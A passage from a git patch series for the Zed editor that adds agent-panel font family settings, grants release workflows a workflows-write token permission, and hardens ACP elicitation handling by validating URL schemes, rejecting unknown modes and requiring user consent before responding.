       uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd
       with:
@@ -209,6 +210,7 @@ jobs:
         owner: ${{ github.repository_owner }}
         repositories: ${{ github.event.repository.name }}
         permission-contents: write
+        permission-workflows: write
     - name: steps::checkout_repo
       uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd
       with:
diff --git a/tooling/xtask/src/tasks/workflows/bump_patch_version.rs b/tooling/xtask/src/tasks/workflows/bump_patch_version.rs
index afad08d6a105e3..5ee6734a9d5424 100644
--- a/tooling/xtask/src/tasks/workflows/bump_patch_version.rs
+++ b/tooling/xtask/src/tasks/workflows/bump_patch_version.rs
@@ -67,7 +67,10 @@ fn run_bump_patch_version(branch: &WorkflowInput) -> steps::NamedJob {
 
     let (authenticate, token) = steps::authenticate_as_zippy()
         .for_repository(steps::RepositoryTarget::current())
-        .with_permissions([(steps::TokenPermissions::Contents, Level::Write)])
+        .with_permissions([
+            (steps::TokenPermissions::Contents, Level::Write),
+            (steps::TokenPermissions::Workflows, Level::Write),
+        ])
         .into();
     let channel_step = read_channel();
     let tag_suffix = StepOutput::new(&channel_step, "tag_suffix");
diff --git a/tooling/xtask/src/tasks/workflows/bump_zed_version.rs b/tooling/xtask/src/tasks/workflows/bump_zed_version.rs
index 39635908ffef51..47a98d8fca9b32 100644
--- a/tooling/xtask/src/tasks/workflows/bump_zed_version.rs
+++ b/tooling/xtask/src/tasks/workflows/bump_zed_version.rs
@@ -186,7 +186,10 @@ fn create_preview_branch(
 
     let (authenticate, token) = steps::authenticate_as_zippy()
         .for_repository(steps::RepositoryTarget::current())
-        .with_permissions([(steps::TokenPermissions::Contents, Level::Write)])
+        .with_permissions([
+            (steps::TokenPermissions::Contents, Level::Write),
+            (steps::TokenPermissions::Workflows, Level::Write),
+        ])
         .into();
 
     let main_sha_step = get_main_sha();
@@ -239,7 +242,10 @@ fn promote_to_stable(
 ) -> steps::NamedJob {
     let (authenticate, token) = steps::authenticate_as_zippy()
         .for_repository(steps::RepositoryTarget::current())
-        .with_permissions([(steps::TokenPermissions::Contents, Level::Write)])
+        .with_permissions([
+            (steps::TokenPermissions::Contents, Level::Write),
+            (steps::TokenPermissions::Workflows, Level::Write),
+        ])
         .into();
 
     let read_version_step = named::bash(indoc::indoc! {r#"

From 1ca8f8396b08b0121a991c710e02c81ebe3016de Mon Sep 17 00:00:00 2001
From: Lori Holden <lholden@users.noreply.github.com>
Date: Mon, 27 Jul 2026 06:34:57 -0400
Subject: [PATCH 713/772] Add agent panel font family settings (#59629)

Objective:

Allow users to configure the font families used by agent panel content
separately from the main UI and buffer fonts.

Solution:

- Add `agent_ui_font_family` for agent responses in the agent panel.
- Add `agent_buffer_font_family` for the agent panel message editor and
user messages.
- Keep context menus on the primary UI font family.
- Document the new settings and expose them in the settings UI.

Testing:

- Ran `cargo fmt`.
- Ran `cargo check -p settings_content -p theme_settings -p markdown -p
agent_ui -p settings_ui -p ui`.
- Ran `git diff --check`.
- Manually tested the agent panel font behavior in a dev build.

Release Notes:

- Added settings for configuring agent panel UI and buffer font
families.

Co-authored-by: Finn Evers <finn@zed.dev>
---
 assets/settings/default.json                  |  4 ++
 crates/agent_ui/src/agent_panel.rs            |  4 +-
 .../src/conversation_view/thread_view.rs      |  2 +-
 crates/agent_ui/src/message_editor.rs         |  2 +-
 crates/markdown/src/markdown.rs               | 16 +++----
 crates/settings/src/vscode_import.rs          |  2 +
 crates/settings_content/src/theme.rs          |  4 ++
 crates/settings_ui/src/page_data.rs           | 42 ++++++++++++++++++-
 crates/theme_settings/src/settings.rs         | 26 ++++++++++++
 crates/ui/src/components/context_menu.rs      |  6 ++-
 docs/src/visual-customization.md              | 20 ++++++---
 11 files changed, 109 insertions(+), 19 deletions(-)

diff --git a/assets/settings/default.json b/assets/settings/default.json
index 98f758c9f3fd17..24cc904112a317 100644
--- a/assets/settings/default.json
+++ b/assets/settings/default.json
@@ -69,8 +69,12 @@
   "ui_font_weight": 400,
   // The default font size for text in the UI
   "ui_font_size": 16,
+  // The font family for agent responses in the agent panel. Falls back to the UI font family if unset.
+  "agent_ui_font_family": null,
   // The default font size for agent responses in the agent panel. Falls back to the UI font size if unset.
   "agent_ui_font_size": null,
+  // The font family for user messages in the agent panel. Falls back to the buffer font family if unset.
+  "agent_buffer_font_family": null,
   // The default font size for user messages in the agent panel.
   "agent_buffer_font_size": 12,
   // The default font size for the commit editor in the git panel and commit modal.
diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index 72f99f3d6b5fdf..51bf65207f7879 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -6516,8 +6516,10 @@ impl Render for AgentPanel {
 
         match self.visible_font_size() {
             WhichFontSize::AgentFont => {
-                WithRemSize::new(ThemeSettings::get_global(cx).agent_ui_font_size(cx))
+                let theme_settings = ThemeSettings::get_global(cx);
+                WithRemSize::new(theme_settings.agent_ui_font_size(cx))
                     .size_full()
+                    .font_family(theme_settings.agent_ui_font_family().clone())
                     .child(content)
                     .into_any()
             }
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index d1e90180fc4f35..718513a9ccc92a 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -7695,7 +7695,7 @@ impl ThreadView {
             .unwrap_or(&command_source)
             .to_string();
 
-        let mut style = MarkdownStyle::themed(MarkdownFont::Agent, window, cx).with_buffer_font(cx);
+        let mut style = MarkdownStyle::themed(MarkdownFont::Agent, window, cx);
         style.container_style.text.font_size = Some(rems_from_px(12.).into());
         style.container_style.text.line_height = Some(rems_from_px(17.).into());
         style.height_is_multiple_of_line_height = true;
diff --git a/crates/agent_ui/src/message_editor.rs b/crates/agent_ui/src/message_editor.rs
index 61ccdc07f5b4d6..fe10a36cb953b5 100644
--- a/crates/agent_ui/src/message_editor.rs
+++ b/crates/agent_ui/src/message_editor.rs
@@ -2019,7 +2019,7 @@ impl Render for MessageEditor {
 
                 let text_style = TextStyle {
                     color: cx.theme().colors().text,
-                    font_family: settings.buffer_font.family.clone(),
+                    font_family: settings.agent_buffer_font_family().clone(),
                     font_fallbacks: settings.buffer_font.fallbacks.clone(),
                     font_features: settings.buffer_font.features.clone(),
                     font_size: settings.agent_buffer_font_size(cx).into(),
diff --git a/crates/markdown/src/markdown.rs b/crates/markdown/src/markdown.rs
index 6134c410493fdf..92921b58c304c6 100644
--- a/crates/markdown/src/markdown.rs
+++ b/crates/markdown/src/markdown.rs
@@ -188,15 +188,15 @@ impl MarkdownStyle {
             ),
         };
 
-        let body_font_family = if is_preview {
-            theme_settings.markdown_preview_font_family().clone()
-        } else {
-            theme_settings.ui_font.family.clone()
+        let body_font_family = match font {
+            MarkdownFont::Preview => theme_settings.markdown_preview_font_family().clone(),
+            MarkdownFont::Agent => theme_settings.agent_ui_font_family().clone(),
+            MarkdownFont::Editor => theme_settings.ui_font.family.clone(),
         };
-        let code_font_family = if is_preview {
-            theme_settings.markdown_preview_code_font_family().clone()
-        } else {
-            theme_settings.buffer_font.family.clone()
+        let code_font_family = match font {
+            MarkdownFont::Preview => theme_settings.markdown_preview_code_font_family().clone(),
+            MarkdownFont::Agent => theme_settings.agent_ui_font_family().clone(),
+            MarkdownFont::Editor => theme_settings.buffer_font.family.clone(),
         };
 
         let mut text_style = window.text_style();
diff --git a/crates/settings/src/vscode_import.rs b/crates/settings/src/vscode_import.rs
index 6db45b1e297522..24072a291b41ea 100644
--- a/crates/settings/src/vscode_import.rs
+++ b/crates/settings/src/vscode_import.rs
@@ -993,7 +993,9 @@ impl VsCodeSettings {
             buffer_font_weight: self.read_f32("editor.fontWeight").map(FontWeightContent),
             buffer_line_height: None,
             buffer_font_features: None,
+            agent_ui_font_family: None,
             agent_ui_font_size: None,
+            agent_buffer_font_family: None,
             agent_buffer_font_size: None,
             git_commit_buffer_font_size: None,
             markdown_preview_font_family: None,
diff --git a/crates/settings_content/src/theme.rs b/crates/settings_content/src/theme.rs
index 406c1ead91b39a..fbfc941d36f1c0 100644
--- a/crates/settings_content/src/theme.rs
+++ b/crates/settings_content/src/theme.rs
@@ -145,8 +145,12 @@ pub struct ThemeSettingsContent {
     /// The OpenType features to enable for rendering in text buffers.
     #[schemars(default = "default_font_features")]
     pub buffer_font_features: Option<FontFeaturesContent>,
+    /// The name of a font to use for agent responses in the agent panel. Falls back to the UI font if unset.
+    pub agent_ui_font_family: Option<FontFamilyName>,
     /// The font size for agent responses in the agent panel. Falls back to the UI font size if unset.
     pub agent_ui_font_size: Option<FontSize>,
+    /// The name of a font to use for user messages in the agent panel. Falls back to the buffer font if unset.
+    pub agent_buffer_font_family: Option<FontFamilyName>,
     /// The font size for user messages in the agent panel.
     pub agent_buffer_font_size: Option<FontSize>,
     pub git_commit_buffer_font_size: Option<FontSize>,
diff --git a/crates/settings_ui/src/page_data.rs b/crates/settings_ui/src/page_data.rs
index 8c2c9b20c5411e..941358fcb1d190 100644
--- a/crates/settings_ui/src/page_data.rs
+++ b/crates/settings_ui/src/page_data.rs
@@ -1130,9 +1130,29 @@ fn appearance_page() -> SettingsPage {
         ]
     }
 
-    fn agent_panel_font_section() -> [SettingsPageItem; 3] {
+    fn agent_panel_font_section() -> [SettingsPageItem; 5] {
         [
             SettingsPageItem::SectionHeader("Agent Panel Font"),
+            SettingsPageItem::SettingItem(SettingItem {
+                title: "UI Font Family",
+                description: "Font family for agent response text in the agent panel. Falls back to the regular UI font family.",
+                field: Box::new(SettingField {
+                    organization_override: None,
+                    json_path: Some("agent_ui_font_family"),
+                    pick: |settings_content| {
+                        settings_content
+                            .theme
+                            .agent_ui_font_family
+                            .as_ref()
+                            .or(settings_content.theme.ui_font_family.as_ref())
+                    },
+                    write: |settings_content, value, _| {
+                        settings_content.theme.agent_ui_font_family = value;
+                    },
+                }),
+                metadata: None,
+                files: USER,
+            }),
             SettingsPageItem::SettingItem(SettingItem {
                 title: "UI Font Size",
                 description: "Font size for agent response text in the agent panel. Falls back to the regular UI font size.",
@@ -1153,6 +1173,26 @@ fn appearance_page() -> SettingsPage {
                 metadata: None,
                 files: USER,
             }),
+            SettingsPageItem::SettingItem(SettingItem {
+                title: "Buffer Font Family",
+                description: "Font family for user messages in the agent panel. Falls back to the regular buffer font family.",
+                field: Box::new(SettingField {
+                    organization_override: None,
+                    json_path: Some("agent_buffer_font_family"),
+                    pick: |settings_content| {
+                        settings_content
+                            .theme
+                            .agent_buffer_font_family
+                            .as_ref()
+                            .or(settings_content.theme.buffer_font_family.as_ref())
+                    },
+                    write: |settings_content, value, _| {
+                        settings_content.theme.agent_buffer_font_family = value;
+                    },
+                }),
+                metadata: None,
+                files: USER,
+            }),
             SettingsPageItem::SettingItem(SettingItem {
                 title: "Buffer Font Size",
                 description: "Font size for user messages text in the agent panel.",
diff --git a/crates/theme_settings/src/settings.rs b/crates/theme_settings/src/settings.rs
index 517367af2b8685..68812368d9b190 100644
--- a/crates/theme_settings/src/settings.rs
+++ b/crates/theme_settings/src/settings.rs
@@ -52,8 +52,14 @@ pub struct ThemeSettings {
     ///
     /// The terminal font family can be overridden using it's own setting.
     pub buffer_font: Font,
+    /// The agent UI font family. Determines the family of response text in the agent panel.
+    /// Falls back to the UI font family if unset.
+    agent_ui_font_family: Option<SharedString>,
     /// The agent font size. Determines the size of text in the agent panel. Falls back to the UI font size if unset.
     agent_ui_font_size: Option<Pixels>,
+    /// The agent buffer font family. Determines the family of user messages in the agent panel.
+    /// Falls back to the buffer font family if unset.
+    agent_buffer_font_family: Option<SharedString>,
     /// The agent buffer font size. Determines the size of user messages in the agent panel.
     agent_buffer_font_size: Option<Pixels>,
     git_commit_buffer_font_size: Option<Pixels>,
@@ -416,6 +422,12 @@ impl ThemeSettings {
             .unwrap_or_else(|| self.ui_font_size(cx))
     }
 
+    pub fn agent_ui_font_family(&self) -> &SharedString {
+        self.agent_ui_font_family
+            .as_ref()
+            .unwrap_or(&self.ui_font.family)
+    }
+
     /// Returns the agent panel buffer font size.
     pub fn agent_buffer_font_size(&self, cx: &App) -> Pixels {
         cx.try_global::<AgentBufferFontSize>()
@@ -425,6 +437,12 @@ impl ThemeSettings {
             .unwrap_or_else(|| self.buffer_font_size(cx))
     }
 
+    pub fn agent_buffer_font_family(&self) -> &SharedString {
+        self.agent_buffer_font_family
+            .as_ref()
+            .unwrap_or(&self.buffer_font.family)
+    }
+
     pub fn git_commit_buffer_font_size(&self, cx: &App) -> Pixels {
         cx.try_global::<GitCommitBufferFontSize>()
             .map(|size| size.0)
@@ -737,7 +755,15 @@ impl settings::Settings for ThemeSettings {
             },
             buffer_font_size: clamp_font_size(content.buffer_font_size.unwrap().into_gpui()),
             buffer_line_height: content.buffer_line_height.unwrap().into(),
+            agent_ui_font_family: content
+                .agent_ui_font_family
+                .as_ref()
+                .map(|font| font.0.clone().into()),
             agent_ui_font_size: content.agent_ui_font_size.map(|s| s.into_gpui()),
+            agent_buffer_font_family: content
+                .agent_buffer_font_family
+                .as_ref()
+                .map(|font| font.0.clone().into()),
             agent_buffer_font_size: content.agent_buffer_font_size.map(|s| s.into_gpui()),
             git_commit_buffer_font_size: content.git_commit_buffer_font_size.map(|s| s.into_gpui()),
             markdown_preview_font_family: content
diff --git a/crates/ui/src/components/context_menu.rs b/crates/ui/src/components/context_menu.rs
index 3eedf11bc14e50..697cd87ca82ca1 100644
--- a/crates/ui/src/components/context_menu.rs
+++ b/crates/ui/src/components/context_menu.rs
@@ -2191,7 +2191,9 @@ impl ContextMenuItem {
 
 impl Render for ContextMenu {
     fn render(&mut self, window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
-        let ui_font_size = theme::theme_settings(cx).ui_font_size(cx);
+        let theme_settings = theme::theme_settings(cx);
+        let ui_font_size = theme_settings.ui_font_size(cx);
+        let ui_font_family = theme_settings.ui_font(cx).family.clone();
         let window_size = window.viewport_size();
         let rem_size = window.rem_size();
         let is_wide_window = window_size.width / rem_size > rems_from_px(800.).0;
@@ -2241,6 +2243,7 @@ impl Render for ContextMenu {
         let render_aside = |aside: DocumentationAside, cx: &mut Context<Self>| {
             WithRemSize::new(ui_font_size)
                 .occlude()
+                .font_family(ui_font_family.clone())
                 .elevation_2(cx)
                 .w_full()
                 .p_2()
@@ -2267,6 +2270,7 @@ impl Render for ContextMenu {
 
             WithRemSize::new(ui_font_size)
                 .occlude()
+                .font_family(ui_font_family.clone())
                 .elevation_2(cx)
                 .flex()
                 .flex_row()
diff --git a/docs/src/visual-customization.md b/docs/src/visual-customization.md
index a12399e60547ea..a9d5a90bab10af 100644
--- a/docs/src/visual-customization.md
+++ b/docs/src/visual-customization.md
@@ -66,9 +66,14 @@ If you would like to use distinct themes for light mode/dark mode that can be se
     "line_height": "standard",
   },
 
-  // Controls the font size for agent responses in the agent panel.
-  // If not specified, it falls back to the UI font size.
+  // Controls the font family and size for agent responses in the agent panel.
+  // If not specified, they fall back to the UI font family and size.
+  "agent_ui_font_family": "Inter",
   "agent_ui_font_size": 15,
+  // Controls the font family and size for the agent panel's message editor
+  // and user messages.
+  // If not specified, the font family falls back to the buffer font family.
+  "agent_buffer_font_family": "Berkeley Mono",
   // Controls the font size for the agent panel's message editor, user message,
   // and any other snippet of code.
   "agent_buffer_font_size": 12,
@@ -514,11 +519,14 @@ Project panel can be shown/hidden with {#action project_panel::ToggleFocus} ({#k
     "default_width": 640, // Default width (left/right docked)
     "default_height": 320 // Default height (bottom docked)
   },
-  // Controls the font size for agent responses in the agent panel.
-  // If not specified, it falls back to the UI font size.
+  // Controls the font family and size for agent responses in the agent panel.
+  // If not specified, they fall back to the UI font family and size.
+  "agent_ui_font_family": "Inter",
   "agent_ui_font_size": 15,
-  // Controls the font size for the agent panel's message editor, user message,
-  // and any other snippet of code.
+  // Controls the font family and size for the agent panel's message editor
+  // and user messages.
+  // If not specified, the font family falls back to the buffer font family.
+  "agent_buffer_font_family": "Berkeley Mono",
   "agent_buffer_font_size": 12
 }
 ```

From 33e2058302b8aff60dc32a0fb7bdbf566a02736d Mon Sep 17 00:00:00 2001
From: Ben Brandt <benjamin.j.brandt@gmail.com>
Date: Mon, 27 Jul 2026 13:30:39 +0200
Subject: [PATCH 714/772] acp: Validate and surface more elicitation warnings
 (#61708)

Eventually more of this should move into the SDK I think, but makes
several states with forms and urls clearer to the user.

Release Notes:

- N/A
---
 crates/acp_thread/src/acp_thread.rs           | 155 ++++--
 crates/agent_servers/src/acp.rs               |  47 +-
 crates/agent_ui/src/conversation_view.rs      | 112 ++++-
 .../src/conversation_view/elicitation.rs      | 468 +++++++++++++++---
 .../src/conversation_view/thread_view.rs      | 103 +++-
 5 files changed, 716 insertions(+), 169 deletions(-)

diff --git a/crates/acp_thread/src/acp_thread.rs b/crates/acp_thread/src/acp_thread.rs
index c2b2fe35d4d4ff..d76511bd590629 100644
--- a/crates/acp_thread/src/acp_thread.rs
+++ b/crates/acp_thread/src/acp_thread.rs
@@ -436,9 +436,19 @@ impl ElicitationStore {
     }
 
     fn validate_request(request: &acp::CreateElicitationRequest) -> Result<(), acp::Error> {
-        if let acp::ElicitationMode::Url(mode) = &request.mode {
-            url::Url::parse(&mode.url)
-                .map_err(|_| acp::Error::invalid_params().data("invalid elicitation URL"))?;
+        match &request.mode {
+            acp::ElicitationMode::Form(_) => {}
+            acp::ElicitationMode::Url(mode) => {
+                let url = url::Url::parse(&mode.url)
+                    .map_err(|_| acp::Error::invalid_params().data("invalid elicitation URL"))?;
+                if !matches!(url.scheme(), "http" | "https") || url.host_str().is_none() {
+                    return Err(acp::Error::invalid_params()
+                        .data("elicitation URL must use HTTP or HTTPS and include a host"));
+                }
+            }
+            _ => {
+                return Err(acp::Error::invalid_params().data("unsupported elicitation mode"));
+            }
         }
 
         Ok(())
@@ -500,17 +510,11 @@ impl ElicitationStore {
     fn complete_url_elicitation_entry(elicitation: &mut Elicitation) -> bool {
         let previous_status = mem::replace(&mut elicitation.status, ElicitationStatus::Completed);
         match previous_status {
-            ElicitationStatus::Pending { respond_tx } => {
-                respond_tx
-                    .send(acp::CreateElicitationResponse::new(
-                        acp::ElicitationAction::Accept(acp::ElicitationAcceptAction::new()),
-                    ))
-                    .ok();
-                true
-            }
             ElicitationStatus::Accepted => true,
-            ElicitationStatus::Completed => false,
-            previous_status @ (ElicitationStatus::Declined | ElicitationStatus::Canceled) => {
+            previous_status @ (ElicitationStatus::Pending { .. }
+            | ElicitationStatus::Declined
+            | ElicitationStatus::Canceled
+            | ElicitationStatus::Completed) => {
                 elicitation.status = previous_status;
                 false
             }
@@ -7537,17 +7541,31 @@ mod tests {
         thread.update(cx, |thread, cx| {
             thread.complete_url_elicitation(&url_elicitation_id, cx);
         });
-        assert!(matches!(
-            response_task.await.action,
-            acp::ElicitationAction::Accept(_)
-        ));
+        thread.read_with(cx, |thread, _| {
+            let Some((_, elicitation)) = thread.elicitation(&entry_id) else {
+                panic!("missing elicitation entry");
+            };
+            assert!(matches!(
+                elicitation.status,
+                ElicitationStatus::Pending { .. }
+            ));
+        });
         thread.update(cx, |thread, cx| {
             thread.respond_to_elicitation(
                 &entry_id,
-                acp::CreateElicitationResponse::new(acp::ElicitationAction::Decline),
+                acp::CreateElicitationResponse::new(acp::ElicitationAction::Accept(
+                    acp::ElicitationAcceptAction::new(),
+                )),
                 cx,
             );
         });
+        assert!(matches!(
+            response_task.await.action,
+            acp::ElicitationAction::Accept(_)
+        ));
+        thread.update(cx, |thread, cx| {
+            thread.complete_url_elicitation(&url_elicitation_id, cx);
+        });
         thread.read_with(cx, |thread, _| {
             let Some((_, elicitation)) = thread.elicitation(&entry_id) else {
                 panic!("missing elicitation entry");
@@ -8380,18 +8398,31 @@ mod tests {
         store.update(cx, |store, cx| {
             store.complete_url_elicitation(&url_elicitation_id, cx);
         });
-
-        assert!(matches!(
-            response_task.await.action,
-            acp::ElicitationAction::Accept(_)
-        ));
+        store.read_with(cx, |store, _| {
+            let Some((_, elicitation)) = store.elicitation(&entry_id) else {
+                panic!("missing elicitation entry");
+            };
+            assert!(matches!(
+                elicitation.status,
+                ElicitationStatus::Pending { .. }
+            ));
+        });
         store.update(cx, |store, cx| {
             store.respond_to_elicitation(
                 &entry_id,
-                acp::CreateElicitationResponse::new(acp::ElicitationAction::Decline),
+                acp::CreateElicitationResponse::new(acp::ElicitationAction::Accept(
+                    acp::ElicitationAcceptAction::new(),
+                )),
                 cx,
             );
         });
+        assert!(matches!(
+            response_task.await.action,
+            acp::ElicitationAction::Accept(_)
+        ));
+        store.update(cx, |store, cx| {
+            store.complete_url_elicitation(&url_elicitation_id, cx);
+        });
         store.read_with(cx, |store, _| {
             let Some((_, elicitation)) = store.elicitation(&entry_id) else {
                 panic!("missing elicitation entry");
@@ -8568,30 +8599,94 @@ mod tests {
     }
 
     #[gpui::test]
-    async fn test_url_elicitation_rejects_invalid_url(cx: &mut TestAppContext) {
+    async fn test_url_elicitation_rejects_non_browser_urls(cx: &mut TestAppContext) {
         init_test(cx);
         enable_acp_beta(cx);
         let thread = new_test_thread(cx).await;
         let session_id = thread.read_with(cx, |thread, _| thread.session_id().clone());
 
+        for invalid_url in [
+            "not a url",
+            "file:///tmp/authorize",
+            "data:text/plain,authorize",
+            "mailto:user@example.com",
+            "zed://settings",
+        ] {
+            let result = thread.update(cx, |thread, cx| {
+                thread.request_elicitation(
+                    acp::CreateElicitationRequest::new(
+                        acp::ElicitationUrlMode::new(
+                            acp::ElicitationSessionScope::new(session_id.clone()),
+                            "url-1",
+                            invalid_url,
+                        ),
+                        "Complete this in the browser",
+                    ),
+                    cx,
+                )
+            });
+
+            let Err(error) = result else {
+                panic!("{invalid_url} should not be accepted for URL elicitation");
+            };
+            assert_eq!(error.code, acp::ErrorCode::InvalidParams);
+        }
+        thread.read_with(cx, |thread, _| assert!(thread.entries().is_empty()));
+    }
+
+    #[gpui::test]
+    async fn test_elicitation_rejects_unadvertised_mode(cx: &mut TestAppContext) {
+        init_test(cx);
+        let thread = new_test_thread(cx).await;
+        let session_id = thread.read_with(cx, |thread, _| thread.session_id().clone());
+
         let result = thread.update(cx, |thread, cx| {
             thread.request_elicitation(
                 acp::CreateElicitationRequest::new(
-                    acp::ElicitationUrlMode::new(
+                    acp::OtherElicitationMode::new(
+                        "future",
                         acp::ElicitationSessionScope::new(session_id),
-                        "url-1",
-                        "not a url",
+                        std::collections::BTreeMap::new(),
                     ),
-                    "Complete this in the browser",
+                    "Use a future input mode",
                 ),
                 cx,
             )
         });
 
-        assert!(result.is_err());
+        let Err(error) = result else {
+            panic!("unadvertised elicitation mode should be rejected");
+        };
+        assert_eq!(error.code, acp::ErrorCode::InvalidParams);
         thread.read_with(cx, |thread, _| assert!(thread.entries().is_empty()));
     }
 
+    #[gpui::test]
+    async fn test_request_elicitation_store_rejects_unadvertised_mode(cx: &mut TestAppContext) {
+        init_test(cx);
+        let store = cx.update(|cx| cx.new(|_| ElicitationStore::default()));
+
+        let result = store.update(cx, |store, cx| {
+            store.request_elicitation(
+                acp::CreateElicitationRequest::new(
+                    acp::OtherElicitationMode::new(
+                        "future",
+                        acp::ElicitationRequestScope::new(acp::RequestId::Number(1)),
+                        std::collections::BTreeMap::new(),
+                    ),
+                    "Use a future input mode",
+                ),
+                cx,
+            )
+        });
+
+        let Err(error) = result else {
+            panic!("unadvertised elicitation mode should be rejected");
+        };
+        assert_eq!(error.code, acp::ErrorCode::InvalidParams);
+        store.read_with(cx, |store, _| assert!(store.elicitations().is_empty()));
+    }
+
     async fn run_until_first_tool_call(
         thread: &Entity<AcpThread>,
         cx: &mut TestAppContext,
diff --git a/crates/agent_servers/src/acp.rs b/crates/agent_servers/src/acp.rs
index 2c77dfc16fcfc7..f3bf1ba82b5a00 100644
--- a/crates/agent_servers/src/acp.rs
+++ b/crates/agent_servers/src/acp.rs
@@ -2801,7 +2801,7 @@ mod tests {
     }
 
     #[gpui::test]
-    async fn request_scoped_url_elicitation_completion_after_create_is_observed(
+    async fn request_scoped_url_elicitation_completion_before_consent_is_ignored(
         cx: &mut gpui::TestAppContext,
     ) {
         init_feature_flags_test(cx);
@@ -2835,19 +2835,18 @@ mod tests {
             cx.update(|cx| connection.authenticate(acp::AuthMethodId::new("login"), cx));
         cx.run_until_parked();
 
-        let response = response_rx
-            .recv()
-            .await
-            .expect("fake auth flow should receive elicitation response");
-        assert_eq!(
-            response.action,
-            acp::ElicitationAction::Accept(acp::ElicitationAcceptAction::new())
+        assert!(
+            matches!(
+                response_rx.try_recv(),
+                Err(async_channel::TryRecvError::Empty)
+            ),
+            "completion before consent must not answer the elicitation request"
         );
 
         let store = connection
             .request_elicitations()
             .expect("ACP connections expose request-scoped elicitations");
-        store.read_with(cx, |store, _| {
+        let entry_id = store.read_with(cx, |store, _| {
             let [elicitation] = store.elicitations() else {
                 panic!(
                     "expected one request-scoped elicitation, got {:?}",
@@ -2860,7 +2859,35 @@ mod tests {
             assert_eq!(scope.request_id, request_id);
             assert!(matches!(
                 elicitation.status,
-                acp_thread::ElicitationStatus::Completed
+                acp_thread::ElicitationStatus::Pending { .. }
+            ));
+            elicitation.id.clone()
+        });
+
+        store.update(cx, |store, cx| {
+            store.respond_to_elicitation(
+                &entry_id,
+                acp::CreateElicitationResponse::new(acp::ElicitationAction::Accept(
+                    acp::ElicitationAcceptAction::new(),
+                )),
+                cx,
+            );
+        });
+        let response = response_rx
+            .recv()
+            .await
+            .expect("fake auth flow should receive elicitation response");
+        assert_eq!(
+            response.action,
+            acp::ElicitationAction::Accept(acp::ElicitationAcceptAction::new())
+        );
+        store.read_with(cx, |store, _| {
+            let Some((_, elicitation)) = store.elicitation(&entry_id) else {
+                panic!("missing request-scoped elicitation");
+            };
+            assert!(matches!(
+                elicitation.status,
+                acp_thread::ElicitationStatus::Accepted
             ));
         });
 
diff --git a/crates/agent_ui/src/conversation_view.rs b/crates/agent_ui/src/conversation_view.rs
index d65e83e45a20a2..35f0e70b095909 100644
--- a/crates/agent_ui/src/conversation_view.rs
+++ b/crates/agent_ui/src/conversation_view.rs
@@ -2388,6 +2388,11 @@ impl ConversationView {
         };
 
         let handlers = Self::request_elicitation_card_handlers(view);
+        let agent_display_name = self
+            .agent_server_store
+            .read(cx)
+            .agent_display_name(&self.agent.agent_id())
+            .unwrap_or_else(|| self.agent.agent_id().0);
 
         store
             .read(cx)
@@ -2399,6 +2404,7 @@ impl ConversationView {
                 ElicitationCard::new(
                     ix,
                     elicitation,
+                    agent_display_name.clone(),
                     self.request_elicitation_form_states.get(&elicitation.id),
                     handlers.clone(),
                 )
@@ -2439,14 +2445,14 @@ impl ConversationView {
             },
             {
                 let view = view.clone();
-                move |elicitation_id, url, window, cx| {
-                    cx.open_url(&url);
+                move |elicitation_id, _window, cx| {
                     view.update(cx, |this, cx| {
-                        this.submit_request_elicitation(elicitation_id, window, cx);
+                        this.dismiss_request_url_elicitation(elicitation_id, cx);
                     })
                     .log_err();
                 }
             },
+            move |_elicitation_id, url, _window, cx| cx.open_url(&url),
             {
                 let view = view.clone();
                 move |elicitation_id, field_name, value, cx| {
@@ -2523,34 +2529,72 @@ impl ConversationView {
             return;
         };
 
-        let response = match mode {
+        match mode {
             acp::ElicitationMode::Form(mode) => {
-                let Some(state) = self.request_elicitation_form_states.get(&elicitation_id) else {
+                let Some(state) = self
+                    .request_elicitation_form_states
+                    .get_mut(&elicitation_id)
+                else {
                     return;
                 };
-                match state.collect(&mode.requested_schema, cx) {
-                    Ok(content) => {
-                        acp::CreateElicitationResponse::new(acp::ElicitationAction::Accept(
-                            acp::ElicitationAcceptAction::new().content(content),
-                        ))
-                    }
-                    Err(errors) => {
-                        self.update_request_elicitation_form_state(
-                            &elicitation_id,
-                            |state| state.set_errors(errors),
-                            cx,
-                        );
-                        return;
-                    }
-                }
+                let Some(submission) = state.begin_submission(cx) else {
+                    return;
+                };
+                let schema = mode.requested_schema;
+                let validation_task = cx.background_spawn(async move {
+                    let result = submission.validate(&schema);
+                    (submission, result)
+                });
+                self.notify_request_elicitation_renderers(cx);
+                cx.spawn(async move |this, cx| {
+                    let (submission, result) = validation_task.await;
+                    this.update(cx, |this, cx| {
+                        let is_current = this
+                            .request_elicitation_form_states
+                            .get_mut(&elicitation_id)
+                            .is_some_and(|state| {
+                                state.validation_matches_current_values(&submission, cx)
+                            });
+                        if !is_current {
+                            this.notify_request_elicitation_renderers(cx);
+                            return;
+                        }
+                        match result {
+                            Ok(content) => {
+                                this.respond_to_request_elicitation(
+                                    elicitation_id,
+                                    acp::CreateElicitationResponse::new(
+                                        acp::ElicitationAction::Accept(
+                                            acp::ElicitationAcceptAction::new().content(content),
+                                        ),
+                                    ),
+                                    cx,
+                                );
+                            }
+                            Err(errors) => {
+                                this.update_request_elicitation_form_state(
+                                    &elicitation_id,
+                                    |state| state.set_errors(errors),
+                                    cx,
+                                );
+                            }
+                        }
+                    })
+                    .log_err();
+                })
+                .detach();
             }
-            acp::ElicitationMode::Url(_) => acp::CreateElicitationResponse::new(
-                acp::ElicitationAction::Accept(acp::ElicitationAcceptAction::new()),
-            ),
-            _ => return,
-        };
-
-        self.respond_to_request_elicitation(elicitation_id, response, cx);
+            acp::ElicitationMode::Url(_) => {
+                self.respond_to_request_elicitation(
+                    elicitation_id,
+                    acp::CreateElicitationResponse::new(acp::ElicitationAction::Accept(
+                        acp::ElicitationAcceptAction::new(),
+                    )),
+                    cx,
+                );
+            }
+            _ => {}
+        }
     }
 
     fn decline_request_elicitation(
@@ -2579,6 +2623,20 @@ impl ConversationView {
         );
     }
 
+    fn dismiss_request_url_elicitation(
+        &mut self,
